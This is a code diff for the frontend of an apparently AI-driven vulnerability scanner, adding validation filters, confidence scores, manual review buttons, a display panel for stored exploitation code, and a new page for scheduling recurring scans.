<div className="h-1.5 bg-dark-900 rounded-full overflow-hidden">
|
||||
<div
|
||||
className="h-full bg-brand-500 rounded-full transition-all duration-300"
|
||||
style={{ width: `${currentScan.progress}%` }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="h-2 bg-dark-900 rounded-full overflow-hidden">
|
||||
<div
|
||||
className="h-full bg-primary-500 rounded-full transition-all duration-300"
|
||||
style={{ width: `${currentScan.progress}%` }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
)}
|
||||
</Card>
|
||||
)
|
||||
})()}
|
||||
|
||||
{/* Auto-generated Report Notification */}
|
||||
{autoGeneratedReport && (
|
||||
@@ -472,6 +785,31 @@ export default function ScanDetailsPage() {
|
||||
{/* Vulnerabilities Tab */}
|
||||
{activeTab === 'vulns' && (
|
||||
<div className="space-y-3">
|
||||
{/* Validation Filter Tabs */}
|
||||
{vulnerabilities.length > 0 && (
|
||||
<div className="flex gap-2 mb-2">
|
||||
{(['all', 'confirmed', 'rejected', 'validated'] as const).map((filter) => {
|
||||
const count = filter === 'all' ? vulnerabilities.length
|
||||
: filter === 'confirmed' ? vulnerabilities.filter(v => !v.validation_status || v.validation_status === 'ai_confirmed' || v.validation_status === 'validated').length
|
||||
: filter === 'rejected' ? vulnerabilities.filter(v => v.validation_status === 'ai_rejected' || v.validation_status === 'false_positive').length
|
||||
: vulnerabilities.filter(v => v.validation_status === 'validated').length
|
||||
return (
|
||||
<button
|
||||
key={filter}
|
||||
onClick={() => setValidationFilter(filter)}
|
||||
className={`px-3 py-1 text-xs rounded-full transition-colors ${
|
||||
validationFilter === filter
|
||||
? 'bg-primary-500/20 text-primary-400 border border-primary-500/30'
|
||||
: 'bg-dark-700 text-dark-400 border border-dark-600 hover:text-dark-300'
|
||||
}`}
|
||||
>
|
||||
{filter.charAt(0).toUpperCase() + filter.slice(1)} ({count})
|
||||
</button>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{vulnerabilities.length === 0 ? (
|
||||
<Card>
|
||||
<p className="text-dark-400 text-center py-8">
|
||||
@@ -479,10 +817,23 @@ export default function ScanDetailsPage() {
|
||||
</p>
|
||||
</Card>
|
||||
) : (
|
||||
vulnerabilities.map((vuln, idx) => (
|
||||
vulnerabilities
|
||||
.filter((vuln) => {
|
||||
if (validationFilter === 'all') return true
|
||||
if (validationFilter === 'confirmed') return !vuln.validation_status || vuln.validation_status === 'ai_confirmed' || vuln.validation_status === 'validated'
|
||||
if (validationFilter === 'rejected') return vuln.validation_status === 'ai_rejected' || vuln.validation_status === 'false_positive'
|
||||
if (validationFilter === 'validated') return vuln.validation_status === 'validated'
|
||||
return true
|
||||
})
|
||||
.map((vuln, idx) => (
|
||||
<div
|
||||
key={vuln.id || `vuln-${idx}`}
|
||||
className="bg-dark-800 rounded-lg border border-dark-700 overflow-hidden"
|
||||
className={`bg-dark-800 rounded-lg border overflow-hidden ${
|
||||
vuln.validation_status === 'ai_rejected' ? 'border-orange-500/40 opacity-70' :
|
||||
vuln.validation_status === 'false_positive' ? 'border-dark-600 opacity-50' :
|
||||
vuln.validation_status === 'validated' ? 'border-green-500/40' :
|
||||
'border-dark-700'
|
||||
}`}
|
||||
>
|
||||
{/* Vulnerability Header */}
|
||||
<div
|
||||
@@ -513,6 +864,37 @@ export default function ScanDetailsPage() {
|
||||
</span>
|
||||
)}
|
||||
<SeverityBadge severity={vuln.severity} />
|
||||
{/* Confidence Score */}
|
||||
{(() => {
|
||||
const conf = getConfidenceDisplay(vuln as any)
|
||||
if (!conf) return null
|
||||
return (
|
||||
<span className={`text-xs font-semibold px-2 py-0.5 rounded-full border ${CONFIDENCE_STYLES[conf.color]}`}>
|
||||
{conf.score}/100
|
||||
</span>
|
||||
)
|
||||
})()}
|
||||
{/* Validation Status Badge */}
|
||||
{vuln.validation_status === 'ai_rejected' && (
|
||||
<span className="text-xs px-2 py-0.5 rounded-full bg-orange-500/20 text-orange-400 border border-orange-500/30 flex items-center gap-1">
|
||||
<AlertTriangle className="w-3 h-3" /> AI Rejected
|
||||
</span>
|
||||
)}
|
||||
{vuln.validation_status === 'validated' && (
|
||||
<span className="text-xs px-2 py-0.5 rounded-full bg-green-500/20 text-green-400 border border-green-500/30 flex items-center gap-1">
|
||||
<CheckCircle className="w-3 h-3" /> Validated
|
||||
</span>
|
||||
)}
|
||||
{vuln.validation_status === 'false_positive' && (
|
||||
<span className="text-xs px-2 py-0.5 rounded-full bg-dark-600 text-dark-400 border border-dark-500 flex items-center gap-1">
|
||||
<XCircle className="w-3 h-3" /> False Positive
|
||||
</span>
|
||||
)}
|
||||
{(!vuln.validation_status || vuln.validation_status === 'ai_confirmed') && (
|
||||
<span className="text-xs px-2 py-0.5 rounded-full bg-emerald-500/15 text-emerald-400 border border-emerald-500/30">
|
||||
AI Confirmed
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -545,6 +927,59 @@ export default function ScanDetailsPage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Validation Pipeline Details */}
|
||||
{(() => {
|
||||
const conf = getConfidenceDisplay(vuln as any)
|
||||
if (!conf) return null
|
||||
return (
|
||||
<div className={`rounded-lg p-3 border ${CONFIDENCE_STYLES[conf.color]}`}>
|
||||
<div className="flex items-center gap-2 mb-2">
|
||||
<Shield className="w-4 h-4" />
|
||||
<span className="text-sm font-semibold">Validation Pipeline</span>
|
||||
<span className={`text-xs px-2 py-0.5 rounded-full font-medium ${
|
||||
conf.score >= 90 ? 'bg-green-500/20 text-green-400' :
|
||||
conf.score >= 60 ? 'bg-yellow-500/20 text-yellow-400' :
|
||||
'bg-red-500/20 text-red-400'
|
||||
}`}>
|
||||
{conf.score}/100 {conf.label}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Scoring Breakdown */}
|
||||
{vuln.confidence_breakdown && Object.keys(vuln.confidence_breakdown).length > 0 && (
|
||||
<div className="grid grid-cols-2 gap-x-4 gap-y-1 text-xs mt-1 mb-2">
|
||||
{Object.entries(vuln.confidence_breakdown).map(([key, val]) => (
|
||||
<div key={key} className="flex justify-between">
|
||||
<span className="opacity-70 capitalize">{key.replace(/_/g, ' ')}</span>
|
||||
<span className={`font-mono font-medium ${
|
||||
Number(val) > 0 ? 'text-green-400' : Number(val) < 0 ? 'text-red-400' : 'opacity-50'
|
||||
}`}>
|
||||
{Number(val) > 0 ? '+' : ''}{val}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Proof of Execution */}
|
||||
{vuln.proof_of_execution && (
|
||||
<div className="text-xs mt-1 flex items-start gap-1">
|
||||
<CheckCircle className="w-3 h-3 mt-0.5 flex-shrink-0 text-green-400" />
|
||||
<span className="opacity-80">{vuln.proof_of_execution}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Negative Controls */}
|
||||
{vuln.negative_controls && (
|
||||
<div className="text-xs mt-1 flex items-start gap-1">
|
||||
<Shield className="w-3 h-3 mt-0.5 flex-shrink-0 text-blue-400" />
|
||||
<span className="opacity-80">{vuln.negative_controls}</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})()}
|
||||
|
||||
{/* Description */}
|
||||
{vuln.description && (
|
||||
<div>
|
||||
@@ -602,6 +1037,14 @@ export default function ScanDetailsPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Exploitation Code */}
|
||||
{vuln.poc_code && (
|
||||
<div className="mt-3">
|
||||
<p className="text-xs font-medium text-dark-400 mb-1">Exploitation Code</p>
|
||||
<pre className="p-3 bg-dark-950 rounded text-xs text-green-400 overflow-x-auto max-h-[400px] overflow-y-auto whitespace-pre-wrap">{vuln.poc_code}</pre>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Remediation */}
|
||||
{vuln.remediation && (
|
||||
<div>
|
||||
@@ -618,6 +1061,90 @@ export default function ScanDetailsPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* AI Rejection Reason */}
|
||||
{vuln.validation_status === 'ai_rejected' && vuln.ai_rejection_reason && (
|
||||
<div className="bg-orange-500/10 border border-orange-500/20 rounded-lg p-3">
|
||||
<p className="text-sm font-medium text-orange-400 mb-1 flex items-center gap-1">
|
||||
<AlertTriangle className="w-4 h-4" /> AI Rejection Reason
|
||||
</p>
|
||||
<p className="text-sm text-orange-300/80">{vuln.ai_rejection_reason}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Manual Validation Actions */}
|
||||
{vuln.validation_status !== 'validated' && vuln.validation_status !== 'false_positive' && (
|
||||
<div className="flex items-center gap-2 pt-2 border-t border-dark-700">
|
||||
<span className="text-xs text-dark-500 mr-2">Manual Review:</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="text-green-400 hover:bg-green-500/10 border border-green-500/30"
|
||||
onClick={async (e) => {
|
||||
e.stopPropagation()
|
||||
try {
|
||||
await vulnerabilitiesApi.validate(vuln.id, 'validated')
|
||||
// Update local state
|
||||
const updated = vulnerabilities.map(v =>
|
||||
v.id === vuln.id ? { ...v, validation_status: 'validated' as const } : v
|
||||
)
|
||||
setVulnerabilities(updated)
|
||||
} catch (err) { console.error('Validate error:', err) }
|
||||
}}
|
||||
>
|
||||
<CheckCircle className="w-3 h-3 mr-1" />
|
||||
Validate
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="text-dark-400 hover:bg-red-500/10 border border-dark-600"
|
||||
onClick={async (e) => {
|
||||
e.stopPropagation()
|
||||
try {
|
||||
await vulnerabilitiesApi.validate(vuln.id, 'false_positive')
|
||||
const updated = vulnerabilities.map(v =>
|
||||
v.id === vuln.id ? { ...v, validation_status: 'false_positive' as const } : v
|
||||
)
|
||||
setVulnerabilities(updated)
|
||||
} catch (err) { console.error('Mark FP error:', err) }
|
||||
}}
|
||||
>
|
||||
<XCircle className="w-3 h-3 mr-1" />
|
||||
False Positive
|
||||
</Button>
|
||||
{vuln.validation_status === 'ai_rejected' && (
|
||||
<span className="text-xs text-orange-400/60 ml-2">
|
||||
AI rejected this finding - review the evidence above
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{(vuln.validation_status === 'validated' || vuln.validation_status === 'false_positive') && (
|
||||
<div className="flex items-center gap-2 pt-2 border-t border-dark-700">
|
||||
<span className="text-xs text-dark-500">
|
||||
{vuln.validation_status === 'validated' ? 'Manually validated by pentester' : 'Marked as false positive'}
|
||||
</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="text-dark-500 hover:text-dark-300 text-xs"
|
||||
onClick={async (e) => {
|
||||
e.stopPropagation()
|
||||
try {
|
||||
const revertTo = vuln.ai_rejection_reason ? 'ai_rejected' : 'ai_confirmed'
|
||||
await vulnerabilitiesApi.validate(vuln.id, revertTo)
|
||||
const updated = vulnerabilities.map(v =>
|
||||
v.id === vuln.id ? { ...v, validation_status: revertTo as any } : v
|
||||
)
|
||||
setVulnerabilities(updated)
|
||||
} catch (err) { console.error('Revert error:', err) }
|
||||
}}
|
||||
>
|
||||
Undo
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* References */}
|
||||
{vuln.references?.length > 0 && (
|
||||
<div>
|
||||
|
||||
@@ -0,0 +1,734 @@
|
||||
import { useState, useEffect, useCallback } from 'react'
|
||||
import { Plus, Trash2, Play, Pause, Clock, RefreshCw, Target, Calendar, ChevronDown, Shield, Zap, Search, Settings2, AlertTriangle, CheckCircle2 } from 'lucide-react'
|
||||
import Card from '../components/common/Card'
|
||||
import Button from '../components/common/Button'
|
||||
import Input from '../components/common/Input'
|
||||
import { schedulerApi } from '../services/api'
|
||||
import type { ScheduleJob, AgentRole } from '../types'
|
||||
|
||||
// Cron presets for quick selection
|
||||
const CRON_PRESETS = [
|
||||
{ label: 'Every Hour', value: '0 * * * *', desc: 'Runs at the start of every hour' },
|
||||
{ label: 'Every 6 Hours', value: '0 */6 * * *', desc: 'Runs every 6 hours' },
|
||||
{ label: 'Daily at 2 AM', value: '0 2 * * *', desc: 'Runs once a day at 2:00 AM' },
|
||||
{ label: 'Daily at Midnight', value: '0 0 * * *', desc: 'Runs once a day at midnight' },
|
||||
{ label: 'Weekdays at 9 AM', value: '0 9 * * 1-5', desc: 'Monday to Friday at 9:00 AM' },
|
||||
{ label: 'Weekly (Monday)', value: '0 0 * * 1', desc: 'Every Monday at midnight' },
|
||||
{ label: 'Weekly (Friday)', value: '0 18 * * 5', desc: 'Every Friday at 6:00 PM' },
|
||||
{ label: 'Monthly (1st)', value: '0 0 1 * *', desc: 'First day of each month' },
|
||||
{ label: 'Custom', value: 'custom', desc: 'Enter a custom cron expression' },
|
||||
]
|
||||
|
||||
const SCAN_TYPES = [
|
||||
{ id: 'quick', label: 'Quick', icon: Zap, desc: 'Fast surface scan' },
|
||||
{ id: 'full', label: 'Full', icon: Search, desc: 'Comprehensive analysis' },
|
||||
{ id: 'custom', label: 'Custom', icon: Settings2, desc: 'Custom configuration' },
|
||||
]
|
||||
|
||||
const DAYS_OF_WEEK = [
|
||||
{ id: 0, short: 'Sun', full: 'Sunday' },
|
||||
{ id: 1, short: 'Mon', full: 'Monday' },
|
||||
{ id: 2, short: 'Tue', full: 'Tuesday' },
|
||||
{ id: 3, short: 'Wed', full: 'Wednesday' },
|
||||
{ id: 4, short: 'Thu', full: 'Thursday' },
|
||||
{ id: 5, short: 'Fri', full: 'Friday' },
|
||||
{ id: 6, short: 'Sat', full: 'Saturday' },
|
||||
]
|
||||
|
||||
export default function SchedulerPage() {
|
||||
const [jobs, setJobs] = useState<ScheduleJob[]>([])
|
||||
const [agentRoles, setAgentRoles] = useState<AgentRole[]>([])
|
||||
const [loading, setLoading] = useState(true)
|
||||
const [showForm, setShowForm] = useState(false)
|
||||
const [message, setMessage] = useState<{ type: 'success' | 'error'; text: string } | null>(null)
|
||||
const [deleteConfirm, setDeleteConfirm] = useState<string | null>(null)
|
||||
|
||||
// Form state
|
||||
const [jobId, setJobId] = useState('')
|
||||
const [target, setTarget] = useState('')
|
||||
const [scanType, setScanType] = useState('quick')
|
||||
const [scheduleMode, setScheduleMode] = useState<'interval' | 'preset' | 'days'>('preset')
|
||||
const [cronPreset, setCronPreset] = useState('0 2 * * *')
|
||||
const [customCron, setCustomCron] = useState('')
|
||||
const [intervalMinutes, setIntervalMinutes] = useState('60')
|
||||
const [selectedDays, setSelectedDays] = useState<number[]>([1, 2, 3, 4, 5])
|
||||
const [executionHour, setExecutionHour] = useState('02')
|
||||
const [executionMinute, setExecutionMinute] = useState('00')
|
||||
const [agentRole, setAgentRole] = useState('')
|
||||
const [showRoleDropdown, setShowRoleDropdown] = useState(false)
|
||||
const [isCreating, setIsCreating] = useState(false)
|
||||
|
||||
const fetchData = useCallback(async () => {
|
||||
setLoading(true)
|
||||
try {
|
||||
const [jobsData, rolesData] = await Promise.all([
|
||||
schedulerApi.list(),
|
||||
schedulerApi.getAgentRoles(),
|
||||
])
|
||||
setJobs(jobsData)
|
||||
setAgentRoles(rolesData)
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch scheduler data:', error)
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
fetchData()
|
||||
}, [fetchData])
|
||||
|
||||
// Auto-dismiss messages after 4 seconds
|
||||
useEffect(() => {
|
||||
if (message) {
|
||||
const timer = setTimeout(() => setMessage(null), 4000)
|
||||
return () => clearTimeout(timer)
|
||||
}
|
||||
}, [message])
|
||||
|
||||
const buildCronExpression = (): string | undefined => {
|
||||
if (scheduleMode === 'interval') return undefined
|
||||
if (scheduleMode === 'preset') {
|
||||
return cronPreset === 'custom' ? customCron : cronPreset
|
||||
}
|
||||
// days mode: build cron from selected days + time
|
||||
if (selectedDays.length === 0) return undefined
|
||||
const daysStr = selectedDays.sort((a, b) => a - b).join(',')
|
||||
return `${executionMinute} ${executionHour} * * ${daysStr}`
|
||||
}
|
||||
|
||||
const getIntervalMinutes = (): number | undefined => {
|
||||
if (scheduleMode !== 'interval') return undefined
|
||||
return parseInt(intervalMinutes) || 60
|
||||
}
|
||||
|
||||
const handleCreate = async () => {
|
||||
if (!jobId.trim()) {
|
||||
setMessage({ type: 'error', text: 'Job ID is required' })
|
||||
return
|
||||
}
|
||||
if (!target.trim()) {
|
||||
setMessage({ type: 'error', text: 'Target URL is required' })
|
||||
return
|
||||
}
|
||||
|
||||
const cron = buildCronExpression()
|
||||
const interval = getIntervalMinutes()
|
||||
|
||||
if (!cron && !interval) {
|
||||
setMessage({ type: 'error', text: 'Please configure a schedule (select days or set interval)' })
|
||||
return
|
||||
}
|
||||
|
||||
setIsCreating(true)
|
||||
setMessage(null)
|
||||
|
||||
try {
|
||||
await schedulerApi.create({
|
||||
job_id: jobId.trim(),
|
||||
target: target.trim(),
|
||||
scan_type: scanType,
|
||||
cron_expression: cron,
|
||||
interval_minutes: interval,
|
||||
agent_role: agentRole || undefined,
|
||||
})
|
||||
setMessage({ type: 'success', text: `Schedule "${jobId}" created successfully` })
|
||||
setShowForm(false)
|
||||
resetForm()
|
||||
fetchData()
|
||||
} catch (error: any) {
|
||||
const detail = error?.response?.data?.detail || 'Failed to create schedule'
|
||||
setMessage({ type: 'error', text: detail })
|
||||
} finally {
|
||||
setIsCreating(false)
|
||||
}
|
||||
}
|
||||
|
||||
const handleDelete = async (id: string) => {
|
||||
try {
|
||||
await schedulerApi.delete(id)
|
||||
setMessage({ type: 'success', text: `Schedule "${id}" deleted` })
|
||||
setDeleteConfirm(null)
|
||||
fetchData()
|
||||
} catch (error) {
|
||||
setMessage({ type: 'error', text: `Failed to delete "${id}"` })
|
||||
}
|
||||
}
|
||||
|
||||
const handlePause = async (id: string) => {
|
||||
try {
|
||||
await schedulerApi.pause(id)
|
||||
fetchData()
|
||||
} catch (error) {
|
||||
setMessage({ type: 'error', text: `Failed to pause "${id}"` })
|
||||
}
|
||||
}
|
||||
|
||||
const handleResume = async (id: string) => {
|
||||
try {
|
||||
await schedulerApi.resume(id)
|
||||
fetchData()
|
||||
} catch (error) {
|
||||
setMessage({ type: 'error', text: `Failed to resume "${id}"` })
|
||||
}
|
||||
}
|
||||
|
||||
const toggleDay = (dayId: number) => {
|
||||
setSelectedDays(prev =>
|
||||
prev.includes(dayId) ? prev.filter(d => d !== dayId) : [...prev, dayId]
|
||||
)
|
||||
}
|
||||
|
||||
const resetForm = () => {
|
||||
setJobId('')
|
||||
setTarget('')
|
||||
setScanType('quick')
|
||||
setScheduleMode('preset')
|
||||
setCronPreset('0 2 * * *')
|
||||
setCustomCron('')
|
||||
setIntervalMinutes('60')
|
||||
setSelectedDays([1, 2, 3, 4, 5])
|
||||
setExecutionHour('02')
|
||||
setExecutionMinute('00')
|
||||
setAgentRole('')
|
||||
setShowRoleDropdown(false)
|
||||
}
|
||||
|
||||
const selectedRole = agentRoles.find(r => r.id === agentRole)
|
||||
|
||||
return (
|
||||
<div className="max-w-5xl mx-auto space-y-6 animate-fadeIn">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h2 className="text-2xl font-bold text-white flex items-center gap-3">
|
||||
<div className="p-2 bg-brand-500/20 rounded-lg">
|
||||
<Calendar className="w-6 h-6 text-brand-400" />
|
||||
</div>
|
||||
Scan Scheduler
|
||||
</h2>
|
||||
<p className="text-dark-400 mt-1 ml-14">Schedule automated recurring scans with agent specialization</p>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button variant="secondary" onClick={fetchData}>
|
||||
<RefreshCw className="w-4 h-4 mr-2" />
|
||||
Refresh
|
||||
</Button>
|
||||
<Button onClick={() => { setShowForm(!showForm); if (showForm) resetForm() }}>
|
||||
<Plus className="w-4 h-4 mr-2" />
|
||||
New Schedule
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Status Message */}
|
||||
{message && (
|
||||
<div className={`flex items-center gap-3 p-4 rounded-lg border transition-all ${
|
||||
message.type === 'success'
|
||||
? 'bg-green-500/10 border-green-500/30 text-green-400'
|
||||
: 'bg-red-500/10 border-red-500/30 text-red-400'
|
||||
}`}>
|
||||
{message.type === 'success'
|
||||
? <CheckCircle2 className="w-5 h-5 flex-shrink-0" />
|
||||
: <AlertTriangle className="w-5 h-5 flex-shrink-0" />
|
||||
}
|
||||
<span>{message.text}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Create Form */}
|
||||
{showForm && (
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-xl overflow-hidden">
|
||||
<div className="p-5 border-b border-dark-700">
|
||||
<h3 className="text-lg font-semibold text-white">Create New Schedule</h3>
|
||||
<p className="text-dark-400 text-sm mt-1">Configure a recurring scan with specialized agent roles</p>
|
||||
</div>
|
||||
|
||||
<div className="p-5 space-y-6">
|
||||
{/* Row 1: Job ID + Target */}
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<Input
|
||||
label="Job ID"
|
||||
placeholder="daily-scan-prod"
|
||||
value={jobId}
|
||||
onChange={(e) => setJobId(e.target.value)}
|
||||
helperText="Unique identifier for this schedule"
|
||||
/>
|
||||
<Input
|
||||
label="Target URL"
|
||||
placeholder="https://example.com"
|
||||
value={target}
|
||||
onChange={(e) => setTarget(e.target.value)}
|
||||
helperText="URL to scan on each execution"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Row 2: Scan Type */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-dark-200 mb-3">Scan Type</label>
|
||||
<div className="grid grid-cols-3 gap-3">
|
||||
{SCAN_TYPES.map(({ id, label, icon: Icon, desc }) => (
|
||||
<button
|
||||
key={id}
|
||||
onClick={() => setScanType(id)}
|
||||
className={`p-4 rounded-lg border-2 text-left transition-all ${
|
||||
scanType === id
|
||||
? 'border-brand-500 bg-brand-500/10'
|
||||
: 'border-dark-600 bg-dark-900/50 hover:border-dark-500'
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
<Icon className={`w-4 h-4 ${scanType === id ? 'text-brand-400' : 'text-dark-400'}`} />
|
||||
<span className={`font-medium ${scanType === id ? 'text-white' : 'text-dark-300'}`}>{label}</span>
|
||||
</div>
|
||||
<p className="text-xs text-dark-500">{desc}</p>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Row 3: Agent Role Dropdown */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-dark-200 mb-3">
|
||||
<Shield className="w-4 h-4 inline mr-1 -mt-0.5" />
|
||||
Agent Role
|
||||
</label>
|
||||
<div className="relative">
|
||||
<button
|
||||
onClick={() => setShowRoleDropdown(!showRoleDropdown)}
|
||||
className="w-full flex items-center justify-between p-3 rounded-lg border border-dark-600 bg-dark-900/50 hover:border-dark-500 transition-colors text-left"
|
||||
>
|
||||
<div>
|
||||
{selectedRole ? (
|
||||
<>
|
||||
<span className="text-white font-medium">{selectedRole.name}</span>
|
||||
<span className="text-dark-500 text-sm ml-2">- {selectedRole.description}</span>
|
||||
</>
|
||||
) : (
|
||||
<span className="text-dark-500">Select an agent role (optional)</span>
|
||||
)}
|
||||
</div>
|
||||
<ChevronDown className={`w-4 h-4 text-dark-400 transition-transform ${showRoleDropdown ? 'rotate-180' : ''}`} />
|
||||
</button>
|
||||
|
||||
{showRoleDropdown && (
|
||||
<div className="absolute z-20 w-full mt-1 bg-dark-800 border border-dark-600 rounded-lg shadow-xl max-h-72 overflow-y-auto">
|
||||
{/* None option */}
|
||||
<button
|
||||
onClick={() => { setAgentRole(''); setShowRoleDropdown(false) }}
|
||||
className={`w-full flex items-start gap-3 p-3 text-left hover:bg-dark-700/50 transition-colors border-b border-dark-700/50 ${
|
||||
!agentRole ? 'bg-dark-700/30' : ''
|
||||
}`}
|
||||
>
|
||||
<div className="w-8 h-8 rounded-lg bg-dark-600 flex items-center justify-center flex-shrink-0 mt-0.5">
|
||||
<Target className="w-4 h-4 text-dark-400" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="text-dark-300 font-medium">Default Agent</p>
|
||||
<p className="text-dark-500 text-xs">No specialization - uses general pentest agent</p>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
{agentRoles.map((role) => (
|
||||
<button
|
||||
key={role.id}
|
||||
onClick={() => { setAgentRole(role.id); setShowRoleDropdown(false) }}
|
||||
className={`w-full flex items-start gap-3 p-3 text-left hover:bg-dark-700/50 transition-colors ${
|
||||
agentRole === role.id ? 'bg-brand-500/10 border-l-2 border-brand-500' : ''
|
||||
}`}
|
||||
>
|
||||
<div className={`w-8 h-8 rounded-lg flex items-center justify-center flex-shrink-0 mt-0.5 ${
|
||||
agentRole === role.id ? 'bg-brand-500/20' : 'bg-dark-600'
|
||||
}`}>
|
||||
<Shield className={`w-4 h-4 ${agentRole === role.id ? 'text-brand-400' : 'text-dark-400'}`} />
|
||||
</div>
|
||||
<div className="min-w-0">
|
||||
<p className={`font-medium ${agentRole === role.id ? 'text-brand-400' : 'text-white'}`}>
|
||||
{role.name}
|
||||
</p>
|
||||
<p className="text-dark-500 text-xs mt-0.5">{role.description}</p>
|
||||
{role.tools.length > 0 && (
|
||||
<div className="flex flex-wrap gap-1 mt-1.5">
|
||||
{role.tools.slice(0, 4).map(tool => (
|
||||
<span key={tool} className="px-1.5 py-0.5 text-[10px] bg-dark-600 text-dark-300 rounded">
|
||||
{tool}
|
||||
</span>
|
||||
))}
|
||||
{role.tools.length > 4 && (
|
||||
<span className="px-1.5 py-0.5 text-[10px] bg-dark-600 text-dark-400 rounded">
|
||||
+{role.tools.length - 4}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Row 4: Schedule Configuration */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-dark-200 mb-3">
|
||||
<Clock className="w-4 h-4 inline mr-1 -mt-0.5" />
|
||||
Schedule
|
||||
</label>
|
||||
|
||||
{/* Schedule mode tabs */}
|
||||
<div className="flex gap-1 p-1 bg-dark-900/50 rounded-lg mb-4">
|
||||
{[
|
||||
{ id: 'preset' as const, label: 'Presets' },
|
||||
{ id: 'days' as const, label: 'Days & Time' },
|
||||
{ id: 'interval' as const, label: 'Interval' },
|
||||
].map(tab => (
|
||||
<button
|
||||
key={tab.id}
|
||||
onClick={() => setScheduleMode(tab.id)}
|
||||
className={`flex-1 py-2 px-3 rounded-md text-sm font-medium transition-all ${
|
||||
scheduleMode === tab.id
|
||||
? 'bg-brand-500 text-white shadow-sm'
|
||||
: 'text-dark-400 hover:text-dark-200'
|
||||
}`}
|
||||
>
|
||||
{tab.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Preset mode */}
|
||||
{scheduleMode === 'preset' && (
|
||||
<div className="space-y-3">
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
{CRON_PRESETS.map(preset => (
|
||||
<button
|
||||
key={preset.value}
|
||||
onClick={() => setCronPreset(preset.value)}
|
||||
className={`p-3 rounded-lg border text-left transition-all ${
|
||||
cronPreset === preset.value
|
||||
? 'border-brand-500 bg-brand-500/10'
|
||||
: 'border-dark-600 bg-dark-900/30 hover:border-dark-500'
|
||||
}`}
|
||||
>
|
||||
<p className={`text-sm font-medium ${cronPreset === preset.value ? 'text-brand-400' : 'text-dark-200'}`}>
|
||||
{preset.label}
|
||||
</p>
|
||||
<p className="text-xs text-dark-500 mt-0.5">{preset.desc}</p>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{cronPreset === 'custom' && (
|
||||
<Input
|
||||
label="Custom Cron Expression"
|
||||
placeholder="*/30 * * * *"
|
||||
value={customCron}
|
||||
onChange={(e) => setCustomCron(e.target.value)}
|
||||
helperText="Format: minute hour day-of-month month day-of-week"
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Days & Time mode */}
|
||||
{scheduleMode === 'days' && (
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<p className="text-sm text-dark-400 mb-2">Select days of the week</p>
|
||||
<div className="flex gap-2">
|
||||
{DAYS_OF_WEEK.map(day => (
|
||||
<button
|
||||
key={day.id}
|
||||
onClick={() => toggleDay(day.id)}
|
||||
className={`flex-1 py-3 rounded-lg border-2 text-center text-sm font-medium transition-all ${
|
||||
selectedDays.includes(day.id)
|
||||
? 'border-brand-500 bg-brand-500/15 text-brand-400'
|
||||
: 'border-dark-600 bg-dark-900/30 text-dark-400 hover:border-dark-500'
|
||||
}`}
|
||||
title={day.full}
|
||||
>
|
||||
{day.short}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div className="flex gap-2 mt-2">
|
||||
<button
|
||||
onClick={() => setSelectedDays([1, 2, 3, 4, 5])}
|
||||
className="text-xs text-brand-400 hover:text-brand-300 transition-colors"
|
||||
>
|
||||
Weekdays
|
||||
</button>
|
||||
<span className="text-dark-600">|</span>
|
||||
<button
|
||||
onClick={() => setSelectedDays([0, 6])}
|
||||
className="text-xs text-brand-400 hover:text-brand-300 transition-colors"
|
||||
>
|
||||
Weekends
|
||||
</button>
|
||||
<span className="text-dark-600">|</span>
|
||||
<button
|
||||
onClick={() => setSelectedDays([0, 1, 2, 3, 4, 5, 6])}
|
||||
className="text-xs text-brand-400 hover:text-brand-300 transition-colors"
|
||||
>
|
||||
Every Day
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
